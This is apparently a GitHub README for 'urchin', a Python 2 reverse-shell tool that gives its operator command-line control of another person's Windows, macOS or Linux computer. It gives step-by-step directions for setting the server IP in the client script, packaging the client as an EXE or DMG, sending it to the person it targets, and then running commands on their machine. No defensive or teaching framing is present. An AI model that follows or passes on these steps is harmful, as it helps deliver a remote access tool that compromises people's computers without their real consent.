pentestingxroot / urchin

:shell::collision: Python socket reverse shell that lets you connect to others computers through the shell when they run the client.

urchin

Reverse shell that lets you connect to others computers through the shell when they run the client.

Supported platforms:

Windows

MacOS

Linux

What is it?

Urchin is a reverse shell that is writen in Python 2. It uses socket to send commands over the Internet. Urchin is a reverse-shell, meaning that a server can host a server and get the client to run the client script. The client will connect the user to the server, which will grant the server shell access to the client's computer.

How to use it

1. Download

Firstly, on any OS, you would navigate to https://github.com/keeganjk/urchin. Once on this page, click the button that says "Clone or Download" and then "Download as ZIP".

If you are on Unix (Linux, macOS, or BSD), you can type git clone https://github.com/keeganjk/urchin into the terminal to clone this repository and then mv into the directory. If you do this, skip to step 3.

---

2. Extract files

Nextly, extract the ZIP file and then move into the urchin folder.

---

3. Download and install Python 2 if not already installed

Navigate to Python Downloads and download Python 2 for your OS.

---

4. Run urchin.py

To run urchin.py, the process is different depending on your operating system. On Windows:

1. Click on urchin.py and Python will run it. On MacOS/Linux:
2. Open the terminal.
3. Navigate to urchin.py
4. Type chmod +x * to allow execution of all files in the directory.
5. You will have to remove the .py extension or replace it with .command.
6. You can run urchin by any of the below methods:
   1. Click on urchin
   2. Run ./urchin
   3. Run python urchin

---

6. Build client

Edit client.py. Find the line that says host = 127.0.0.1. Replace 127.0.0.1 with the server's IP Address.

---

7. Give the file to client.

After building the client, you will need to give it to a client. The client will need to have Python 2 installed, unless you use the methods below:
If the client is using Windows:
1. Download and install py2exe.
2. Open CMD and run this command: python filename.py py2exe
3. Send EXE to client, put it in a ZIP file if you can't send an EXE.

If the client is using MacOS:
1. Open the terminal and type chmod +x filename
2. Put the file in a folder
3. Open Disk Utility.
4. From the top menu, select File > New Image > Image from Folder...
5. A DMG will be generated.
6. Send it to your client.

If the client is on Linux, you're just about out of luck on compilations. They'll have to chmod and run by themself.

---

8. Allow connections

Run urchin before the client runs the file. Once the client has connected, you will be notified and you will have a command prompt of $ . From here, you can enter commands to run on the client. Type quit to close the connection.